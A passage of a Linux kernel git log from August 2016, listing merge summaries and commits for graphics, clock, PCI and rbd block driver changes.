4.9. Highlights: - powerplay support for iceland asics - improved GPU reset (both full asic and per block) - UVD and VCE powergating for CZ and ST - VCE clockgating for CZ and ST - Support for pre-initialized (e.g., zeroed) vram buffers - ttm cleanups - virtual display support - core and radeon/amdgpu support for page_flip_target - lots of bug fixes and clean ups * 'drm-next-4.9' of git://people.freedesktop.org/~agd5f/linux: (171 commits) drm/amdgpu: use memcpy_toio for VCE firmware upload drm/amdgpu: use memcpy_to/fromio for UVD fw upload drm/amd/powerplay: delete useless code in iceland_hwmgr.c. drm/radeon: switch UVD code to use UVD_NO_OP for padding drm/amdgpu: switch UVD code to use UVD_NO_OP for padding drm/radeon: add support for UVD_NO_OP register drm/amdgpu: add support for UVD_NO_OP register drm/amdgpu: fix VCE ib alignment value drm/amdgpu: fix IB alignment for UVD drm/amd/amdgpu: Print ring name in amdgpu_ib_schedule() drm/radeon: remove dead code, si_mc_load_microcode (v2) drm/radeon/cik: remove dead code (v2) drm/amd/powerplay: avoid NULL dereference, cz_hwmgr.c drm/amd/powerplay: avoid NULL pointer dereference drm/amdgpu/gmc8: remove dead code (v2) drm/amdgpu/gmc7: remove dead code (v2) drm/amdgpu: Fix indentation in dce_v8_0_audio_write_sad_regs() drm/amdgpu: Use correct mask in dce_v8_0_afmt_setmode() and fix comment typos. drm/amdgpu: cleanup amdgpu_vm_bo_update params drm/amdgpu: stop adding dummy entry in amdgpu_ttm_placement_init ... commit 51d6120792ab5f46d6f5f7f37b65d05cc1afc019 Merge: 78acdd4 3512438 Author: Dave Airlie Date: Thu Aug 25 12:36:36 2016 +1000 Merge branch 'drm-intel-next' of git://anongit.freedesktop.org/drm-intel into drm-next drm-intel-next-2016-08-22: - bugfixes and cleanups for rcu-protected requests (Chris) - atomic modeset fixes for gpu reset on pre-g4x (Maarten&Ville) - guc submission improvements (Dave Gordon) - panel power sequence cleanup (Imre) - better use of stolen and unmappable ggtt (Chris), plus prep work to make that happen - rework of framebuffer offsets, prep for multi-plane framebuffers (Ville) - fully partial ggtt vmaps, including fenced ones (Chris) - move lots more of the gem tracking from the object to the vma (Chris) - tune the command parser (Chris) - allow fbc without fences on recent platforms (Chris) - fbc frontbuffer tracking fixes (Chris) - fast prefaulting using io-mappping.h pgprot caching (Chris) * 'drm-intel-next' of git://anongit.freedesktop.org/drm-intel: (141 commits) io-mapping: Fixup for different names of writecombine io-mapping.h: s/PAGE_KERNEL_IO/PAGE_KERNEL/ drm/i915: Update DRIVER_DATE to 20160822 drm/i915: Use remap_io_mapping() to prefault all PTE in a single pass drm/i915: Embed the io-mapping struct inside drm_i915_private io-mapping: Always create a struct to hold metadata about the io-mapping drm/i915/fbc: Allow on unfenced surfaces, for recent gen drm/i915/fbc: Don't set an illegal fence if unfenced drm/i915: Flush delayed fence releases after reset drm/i915: Reattach comment, complete type specification drm/i915/cmdparser: Accelerate copies from WC memory drm/i915/cmdparser: Use binary search for faster register lookup drm/i915/cmdparser: Check for SKIP descriptors first drm/i915/cmdparser: Compare against the previous command descriptor drm/i915/cmdparser: Improve hash function drm/i915/cmdparser: Only cache the dst vmap drm/i915/cmdparser: Use cached vmappings drm/i915/cmdparser: Add the TIMESTAMP register for the other engines drm/i915/cmdparser: Make initialisation failure non-fatal drm/i915: Stop discarding GTT cache-domain on unbind vma ... commit 78acdd4a7e5a5de56c4ac1e10390a98b7c605ed6 Merge: 0d42204 8082633 Author: Dave Airlie Date: Thu Aug 25 12:35:35 2016 +1000 Merge branch 'for-next' of git://people.freedesktop.org/~seanpaul/dogwood into drm-next This pull request contains the following rockchip drm changes: - Introduce support for rk3399 vop/crtc - Add PSR framework to the rockchip driver - Implement PSR in the rockchip analogix edp driver - Fix panel on/off in analogix to avoid damaging panels - Some miscellaneous fixes to clean up logs and code readability * 'for-next' of git://people.freedesktop.org/~seanpaul/dogwood: drm/rockchip: analogix_dp: drop unnecessary probe deferral "error" print drm/rockchip: Enable vblank without event drm/rockchip: Improve analogix-dp psr handling drm/rockchip: A couple small fixes to psr drm/rockchip: Use a spinlock to protect psr state drm/rockchip: Don't use a delayed worker for psr state changes drm/rockchip: Convert psr_list_mutex to spinlock and use it drm/rockchip: analogix_dp: implement PSR function drm/bridge: analogix_dp: add the PSR function support drm/rockchip: add an common abstracted PSR driver drm/rockchip: vop: export line flag function drm/bridge: analogix_dp: Ensure the panel is properly prepared/unprepared dt-bindings: add compatible strings for big/little rockchip vops dt-bindings: sort Rockchip vop compatible by chip's number drm/rockchip: vop: add rk3399 vop support drm/rockchip: vop: introduce VOP_REG_MASK drm/rockchip: sort registers define by chip's number commit a196d9ee289afe4ee917c8ff8175f7055dca4626 Merge: 8b2bdc7 af7c388 Author: Stephen Boyd Date: Wed Aug 24 17:49:30 2016 -0700 Merge branch 'clk-fixes' into clk-next * clk-fixes: clk: tegra: remove TEGRA_PLL_USE_LOCK for PLLD/PLLD2 commit 8b2bdc7690bb2ae85b198c065c8f3511180eafef Author: Stephen Boyd Date: Tue Aug 16 15:37:57 2016 -0700 clk: h8300: Migrate to clk_hw based registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Yoshinori Sato Cc: Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/h8300/clk-div.c | 10 +++++----- drivers/clk/h8300/clk-h8s2678.c | 12 ++++++------ 2 files changed, 11 insertions(+), 11 deletions(-) commit 120c1552839036f0fb2c01fffb8d8ce4049b729a Author: Stephen Boyd Date: Tue Aug 16 15:38:27 2016 -0700 clk: qcom: Migrate to clk_hw based registration and OF APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers in this driver, allowing us to move closer to a clear split of consumer and provider clk APIs. Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/qcom/clk-regmap.c | 5 ++-- drivers/clk/qcom/clk-regmap.h | 3 +-- drivers/clk/qcom/common.c | 58 +++++++++++++++++++++++------------------ drivers/clk/qcom/gcc-mdm9615.c | 8 +++--- drivers/clk/qcom/gcc-msm8996.c | 9 +++---- drivers/clk/qcom/mmcc-msm8996.c | 9 +++---- 6 files changed, 47 insertions(+), 45 deletions(-) commit cc671d13b6a1d1f6db2093994ff75220ce621234 Author: Stephen Boyd Date: Wed Jun 1 16:15:33 2016 -0700 clk: wm831x: Migrate to clk_hw based registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Mark Brown Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-wm831x.c | 21 +++++++++------------ 1 file changed, 9 insertions(+), 12 deletions(-) commit 759fa9613245b99b21c25b0aecf9919fb0e96c31 Author: Stephen Boyd Date: Wed Jun 1 16:15:32 2016 -0700 clk: vt8500: Migrate to clk_hw based registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Sebastian Hesselbarth Cc: Tony Prisk Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-vt8500.c | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) commit f5b3715ecf851da45f27e28120b9c5c9ddeccb5f Author: Stephen Boyd Date: Wed Jun 1 16:15:30 2016 -0700 clk: twl6040: Migrate to clk_hw based registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Peter Ujfalusi Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-twl6040.c | 13 +++++++------ 1 file changed, 7 insertions(+), 6 deletions(-) commit a340dae9de5df79d1d09ab7eae6cb8bbeb77b996 Author: Stephen Boyd Date: Wed Jun 1 16:15:28 2016 -0700 clk: si570: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Guenter Roeck Cc: Sören Brinkmann Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-si570.c | 13 ++++++------- 1 file changed, 6 insertions(+), 7 deletions(-) commit 4d89c3d54e0b2d0edea0ab5cf62fd464a0473bad Author: Stephen Boyd Date: Wed Jun 1 16:15:27 2016 -0700 clk: si5351: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Sebastian Hesselbarth Cc: Guenter Roeck Cc: Sören Brinkmann Cc: Mike Looijmans Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-si5351.c | 71 ++++++++++++++++++++++++++++-------------------- 1 file changed, 41 insertions(+), 30 deletions(-) commit d06e46c25a8945fe3e6f5385221a3551f0866f79 Author: Stephen Boyd Date: Wed Jun 1 16:15:26 2016 -0700 clk: si514: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Sebastian Hesselbarth Cc: Guenter Roeck Cc: Sören Brinkmann Cc: Mike Looijmans Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-si514.c | 11 +++++------ 1 file changed, 5 insertions(+), 6 deletions(-) commit 93ae00be20d872bfa3099e6376442362aaa8d567 Author: Stephen Boyd Date: Wed Jun 1 16:15:25 2016 -0700 clk: scpi: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Sudeep Holla Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-scpi.c | 33 ++++++++++++++------------------- 1 file changed, 14 insertions(+), 19 deletions(-) commit a8b6e85db6a65132ebc85e38b6391669b37b36f8 Author: Stephen Boyd Date: Wed Jun 1 16:15:23 2016 -0700 clk: rk808: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Chris Zhong Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-rk808.c | 44 ++++++++++++++++++++++---------------------- 1 file changed, 22 insertions(+), 22 deletions(-) commit 4cf915dfb8ede6e2673b4f1b2d2518ef4fe6620c Author: Stephen Boyd Date: Wed Jun 1 16:15:22 2016 -0700 clk: pwm: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Janusz Uzycki Cc: Philipp Zabel Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-pwm.c | 9 ++++----- 1 file changed, 4 insertions(+), 5 deletions(-) commit c742e365a7e03a34363023526fe53c9bc11e294b Author: Stephen Boyd Date: Wed Jun 1 16:15:21 2016 -0700 clk: palmas: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Peter Ujfalusi Cc: Nishanth Menon Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-palmas.c | 12 ++++-------- 1 file changed, 4 insertions(+), 8 deletions(-) commit 416886ad1eb0f90f1ee6415ede7037865fc58a2d Author: Stephen Boyd Date: Wed Jun 1 16:15:20 2016 -0700 clk: nspire: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Daniel Tang Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-nspire.c | 19 ++++++++++--------- 1 file changed, 10 insertions(+), 9 deletions(-) commit 5a962d2ea2f46adf61ed0f496de058770dc19ae9 Author: Stephen Boyd Date: Wed Jun 1 16:15:18 2016 -0700 clk: moxart: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Jonas Jensen Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-moxart.c | 22 ++++++++++++---------- 1 file changed, 12 insertions(+), 10 deletions(-) commit 6b212f5a6adc271547279d0140eaf70f8c06e65a Author: Stephen Boyd Date: Wed Jun 1 16:15:17 2016 -0700 clk: mb86s7x: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Jassi Brar Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-mb86s7x.c | 16 ++++++++++------ 1 file changed, 10 insertions(+), 6 deletions(-) commit 9337631f52a84742a476383eb3e795ac5773f5ab Author: Stephen Boyd Date: Wed Jun 1 16:15:14 2016 -0700 clk: efm32gg: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Uwe Kleine-König Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-efm32gg.c | 63 ++++++++++++++++++++++++++--------------------- 1 file changed, 35 insertions(+), 28 deletions(-) commit 2ceb3c7aadc4c1a4a16643c2ac1e7b64c40f4fc7 Author: Stephen Boyd Date: Wed Jun 1 16:15:13 2016 -0700 clk: cs2000: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Kuninori Morimoto Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-cs2000-cp.c | 16 ++++++---------- 1 file changed, 6 insertions(+), 10 deletions(-) commit f48d947a162dfa9d62ebe6d79eb30100cb81751b Author: Stephen Boyd Date: Wed Jun 1 16:15:12 2016 -0700 clk: clps711x: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Alexander Shiyan Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-clps711x.c | 78 +++++++++++++++++++++++----------------------- 1 file changed, 39 insertions(+), 39 deletions(-) commit a85d11712dd13fc2a389b950d12f6b7f7d8c4c48 Author: Stephen Boyd Date: Wed Jun 1 16:15:11 2016 -0700 clk: cdce925: Migrate to clk_hw based OF and provider APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Mike Looijmans Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-cdce925.c | 42 +++++++++++++++++++++++------------------- 1 file changed, 23 insertions(+), 19 deletions(-) commit 01b5200a6683c428da18fe4936cfe2a412e2233d Author: Stephen Boyd Date: Wed Jun 1 16:15:10 2016 -0700 clk: cdce: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Max Filippov Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-cdce706.c | 40 ++++++++++++++++++++++------------------ 1 file changed, 22 insertions(+), 18 deletions(-) commit 235d2aaa77325b5db58c69b586a3c3f35897baa9 Author: Stephen Boyd Date: Wed Jun 1 16:15:09 2016 -0700 clk: axm5516: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Make thing simple by using the existing clk_hw array and implementing a custom DT clk provider get function to map the clk spec id to a clk_hw pointer. Cc: Anders Berg Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-axm5516.c | 39 +++++++++++++++++---------------------- 1 file changed, 17 insertions(+), 22 deletions(-) commit e0d30bb9230a815eb9ce7971b9cc81378f96e9f2 Author: Stephen Boyd Date: Wed Jun 1 16:15:08 2016 -0700 clk: axi-clkgen: Migrate to clk_hw based OF and registration APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Lars-Peter Clausen Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-axi-clkgen.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 78cf5555e9835726ffa8ff66a943c0aefaa917e9 Author: Stephen Boyd Date: Wed Jun 1 16:15:07 2016 -0700 clk: asm9260: Migrate to clk_hw based registration and OF APIs Now that we have clk_hw based provider APIs to register clks, we can get rid of struct clk pointers while registering clks in these drivers, allowing us to move closer to a clear split of consumer and provider clk APIs. Cc: Oleksij Rempel Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/clk-asm9260.c | 31 ++++++++++++++++++------------- 1 file changed, 18 insertions(+), 13 deletions(-) commit f37fccce4cc19238f0742494a37d3efad346dfe7 Author: Stephen Boyd Date: Wed Jun 1 16:15:05 2016 -0700 clk: bcm: kona: Migrate to clk_hw based registration and OF APIs Now that we can use clk_hw pointers we don't need to have two duplicate arrays holding the same mapping of clk index to clk_hw pointer. Implement a custom clk_hw provider function to map the OF specifier to the clk_hw instance for it. Cc: Alex Elder Signed-off-by: Stephen Boyd Signed-off-by: Stephen Boyd drivers/clk/bcm/clk-kona-setup.c | 76 ++++++++++++++++++---------------------- drivers/clk/bcm/clk-kona.c | 9 +++-- drivers/clk/bcm/clk-kona.h | 7 ++-- 3 files changed, 41 insertions(+), 51 deletions(-) commit a38c94106e0dc77490ff820450c0c4af3b57fbc7 Author: Purna Chandra Mandal Date: Tue May 17 10:35:51 2016 +0530 clk: microchip: Initialize SOSC clock rate for PIC32MZDA. Optional SOSC is an external fixed clock running at 32768HZ. So Initialize SOSC rate as per PIC32MZDA datasheet. Signed-off-by: Purna Chandra Mandal Signed-off-by: Stephen Boyd drivers/clk/microchip/clk-pic32mzda.c | 1 + 1 file changed, 1 insertion(+) commit 12f53b2432ad1a2a3f09cf9b772a467b2f20e040 Author: Purna Chandra Mandal Date: Tue May 17 10:35:50 2016 +0530 clk: microchip: use readl_poll_timeout() in pbclk_set_rate(). pbclk_set_rate() is using readl_poll_timeout_atomic() even though spinlock is released. Fix it by replacing with readl_poll_timeout(). Signed-off-by: Purna Chandra Mandal Signed-off-by: Stephen Boyd drivers/clk/microchip/clk-core.c | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) commit 70626d88385174397b8a17d767282e5600e67415 Author: Paul Gortmaker Date: Wed Aug 24 16:57:52 2016 -0400 PCI: pciehp: Make explicitly non-modular This code is not being built as a module by anyone: obj-$(CONFIG_HOTPLUG_PCI_PCIE) += pciehp.o pciehp-objs := pciehp_core.o \ drivers/pci/pcie/Kconfig:config HOTPLUG_PCI_PCIE drivers/pci/pcie/Kconfig: bool "PCI Express Hotplug driver" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, module_init() translates to device_initcall(). One could argue that we should use subsys_initcall() here, but for now we stick with runtime equivalence. We delete module.h but we keep the moduleparam.h include, since we are keeping the module_param() that the file has as-is for now. Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Kristen Carlson Accardi drivers/pci/hotplug/pciehp_core.c | 20 +++++--------------- 1 file changed, 5 insertions(+), 15 deletions(-) commit 57b51b9adb4ca67d15c4f4b61268771da014c44a Author: Paul Gortmaker Date: Wed Aug 24 16:57:51 2016 -0400 PCI: hotplug: Make core explicitly non-modular This code is not being built as a module by anyone: obj-$(CONFIG_HOTPLUG_PCI) += pci_hotplug.o [...] pci_hotplug-objs := pci_hotplug_core.o drivers/pci/hotplug/Kconfig:menuconfig HOTPLUG_PCI drivers/pci/hotplug/Kconfig: bool "Support for PCI Hotplug" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Remove orphaned exit function in cpci_hotplug_core.c. Note that for non-modular code, module_init() translates to device_initcall(). One could argue that we should use subsys_initcall() here, but for now we stick with runtime equivalence. We would delete module.h and just keep the moduleparam.h include (since the file does use module_param), but there is a try_module_get and module_put pairing that prevents us from doing that. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Scott Murray CC: Kristen Carlson Accardi drivers/pci/hotplug/cpci_hotplug.h | 2 -- drivers/pci/hotplug/cpci_hotplug_core.c | 10 ---------- drivers/pci/hotplug/pci_hotplug_core.c | 18 ++++++------------ 3 files changed, 6 insertions(+), 24 deletions(-) commit ff187e777cce8033dac2cd54d010bb7978e84642 Author: Paul Gortmaker Date: Wed Aug 24 16:57:50 2016 -0400 PCI: xilinx-nwl: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_XILINX_NWL drivers/pci/host/Kconfig: bool "NWL PCIe Core" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Explicitly disallow driver unbind, since that doesn't have a sensible use case anyway, and it allows us to drop the ".remove" code for non-modular drivers. Delete several functions only used by the remove function. Note that for non-modular code, builtin_platform_driver() uses the same init level priority as module_platform_driver(), so this doesn't change init ordering. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Michal Simek CC: "Sören Brinkmann" CC: Marc Zyngier CC: Bharat Kumar Gogada drivers/pci/host/pcie-xilinx-nwl.c | 53 +++----------------------------------- 1 file changed, 3 insertions(+), 50 deletions(-) commit da4eafcae3efe9225a36c062b053d49d80364c3f Author: Paul Gortmaker Date: Wed Aug 24 16:57:49 2016 -0400 PCI: xilinx: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_XILINX drivers/pci/host/Kconfig: bool "Xilinx AXI PCIe host bridge support" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, builtin_platform_driver() uses the same init level priority as module_platform_driver(), so this doesn't change init ordering. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Michal Simek CC: "Sören Brinkmann" drivers/pci/host/pcie-xilinx.c | 53 ++---------------------------------------- 1 file changed, 2 insertions(+), 51 deletions(-) commit f9a6660083385fa329808d0747ea54c62bd9155c Author: Paul Gortmaker Date: Wed Aug 24 16:57:48 2016 -0400 PCI: qcom: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCIE_QCOM drivers/pci/host/Kconfig: bool "Qualcomm PCIe controller" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op and builtin_platform_driver() uses the same init level priority as module_platform_driver(), so this doesn't change init ordering. Explicitly disallow driver unbind, since that doesn't have a sensible use case anyway, and it allows us to drop the ".remove" code for non-modular drivers. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Stanimir Varbanov drivers/pci/host/pcie-qcom.c | 28 +++++++--------------------- 1 file changed, 7 insertions(+), 21 deletions(-) commit d29438d64448196065a3dcc34a696599323d6822 Author: Paul Gortmaker Date: Wed Aug 24 16:57:47 2016 -0400 PCI: dra7xx: Make explicitly non-modular This code is not being built as a module by anyone: drivers/pci/host/Kconfig:config PCI_DRA7XX drivers/pci/host/Kconfig: bool "TI DRA7xx PCIe controller" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, MODULE_DEVICE_TABLE is a no-op and builtin_platform_driver_probe() uses the same init level priority as module_platform_driver_probe(), so this doesn't change init ordering. Explicitly disallow driver unbind, since that doesn't have a sensible use case anyway, and it allows us to drop the ".remove" code for non-modular drivers. [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Kishon Vijay Abraham I drivers/pci/host/pci-dra7xx.c | 31 +++---------------------------- 1 file changed, 3 insertions(+), 28 deletions(-) commit 8756336c1d6d27d844a8cfc61127859dca4090f5 Author: Paul Gortmaker Date: Wed Aug 24 16:57:46 2016 -0400 PCI/AER: Make explicitly non-modular This code is not being built as a module by anyone: obj-$(CONFIG_PCIEAER) += aerdriver.o aerdriver-objs := aerdrv_errprint.o aerdrv_core.o aerdrv.o drivers/pci/pcie/aer/Kconfig:config PCIEAER drivers/pci/pcie/aer/Kconfig: bool "Root Port Advanced Error Reporting support" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, module_init() translates to device_initcall(). [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Tom Long Nguyen drivers/pci/pcie/aer/aerdrv.c | 18 +----------------- 1 file changed, 1 insertion(+), 17 deletions(-) commit d7def20400773c7c0be8dcee58434ddbb0f6f8d9 Author: Paul Gortmaker Date: Wed Aug 24 16:57:45 2016 -0400 PCI/PME: Make explicitly non-modular This code is not being built as a module by anyone: config PCIE_PME def_bool y depends on PCIEPORTBUS && PM Remove traces of modularity so that when reading the driver there is no doubt it is builtin-only. Also delete the .remove function, since that doesn't seem to have a sensible use case. With "normal" endpoint drivers, we have in the past set the suppress_bind_attrs bit to make it clear that the use of ".remove" in a builtin driver was deleted, but here for PCI, it seems overkill to jump through the pcie_port_service_driver and into the struct device_driver in order to finally try and do something similar with the bind setting. Note that for non-modular code, module_init() translates to device_initcall(). Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas drivers/pci/pcie/pme.c | 16 +--------------- 1 file changed, 1 insertion(+), 15 deletions(-) commit 61612e6dd49d08e174e12f9aca58a4aca297609b Author: Paul Gortmaker Date: Wed Aug 24 16:57:44 2016 -0400 PCI: Make DPC explicitly non-modular This code is not being built as a module by anyone: drivers/pci/pcie/Kconfig:config PCIE_DPC drivers/pci/pcie/Kconfig: bool "PCIe Downstream Port Containment support" Remove uses of MODULE_DESCRIPTION(), MODULE_AUTHOR(), MODULE_LICENSE(), etc., so that when reading the driver there is no doubt it is builtin-only. The information is preserved in comments at the top of the file. Note that for non-modular code, module_init() translates to device_initcall(). [bhelgaas: changelog] Signed-off-by: Paul Gortmaker Signed-off-by: Bjorn Helgaas CC: Keith Busch CC: Mika Westerberg drivers/pci/pcie/pcie-dpc.c | 18 ++++-------------- 1 file changed, 4 insertions(+), 14 deletions(-) commit 0276dca6c1ecb9a665645ff573e70685a57759af Author: Mike Christie Date: Thu Aug 18 18:38:45 2016 +0200 rbd: add force close option This adds a force close option, so we can force the unmapping of a rbd device that is open. If a path/device is blacklisted, apps like multipathd can map a new device and then unmap the old one. The unmapping cleanup would then be handled by the generic hotunplug code paths in multipahd like is done for iSCSI, FC/FCOE, SAS, etc. Signed-off-by: Mike Christie Signed-off-by: Ilya Dryomov Documentation/ABI/testing/sysfs-bus-rbd | 10 +++++++--- drivers/block/rbd.c | 35 ++++++++++++++++++++++++--------- 2 files changed, 33 insertions(+), 12 deletions(-) commit 0d6d1e9c2e970c26e8a1ec4932ffffacec90e0b4 Author: Mike Christie Date: Thu Aug 18 18:38:45 2016 +0200 rbd: add 'config_info' sysfs rbd device attribute Export the info used to setup the rbd image, so it can be used to remap the image. Signed-off-by: Mike Christie [idryomov@gmail.com: do_rbd_add() EH] Signed-off-by: Ilya Dryomov Documentation/ABI/testing/sysfs-bus-rbd | 5 +++++ drivers/block/rbd.c | 23 +++++++++++++++++++++-- 2 files changed, 26 insertions(+), 2 deletions(-) commit 92a58671549f365a962517cc7cccb624dea8581e Author: Mike Christie Date: Thu Aug 18 18:38:44 2016 +0200 rbd: add 'snap_id' sysfs rbd device attribute Export snap id in sysfs, so tools like multipathd can use it in a uuid. Signed-off-by: Mike Christie Signed-off-by: Ilya Dryomov Documentation/ABI/testing/sysfs-bus-rbd | 4 ++++ drivers/block/rbd.c | 10 ++++++++++ 2 files changed, 14 insertions(+) commit 267fb90b8344eeb6f835734e356b422f78617088 Author: Mike Christie Date: Thu Aug 18 18:38:43 2016 +0200 rbd: add 'cluster_fsid' sysfs rbd device attribute Export the cluster fsid, so tools like udev and multipath-tools can use it for part of the uuid. Signed-off-by: Mike Christie Signed-off-by: Ilya Dryomov Documentation/ABI/testing/sysfs-bus-rbd | 4 ++++ drivers/block/rbd.c | 10 ++++++++++ 2 files changed, 14 insertions(+) commit 005a07bf0a92e7f0e73fc9a6c9acc992c5dbd00c Author: Ilya 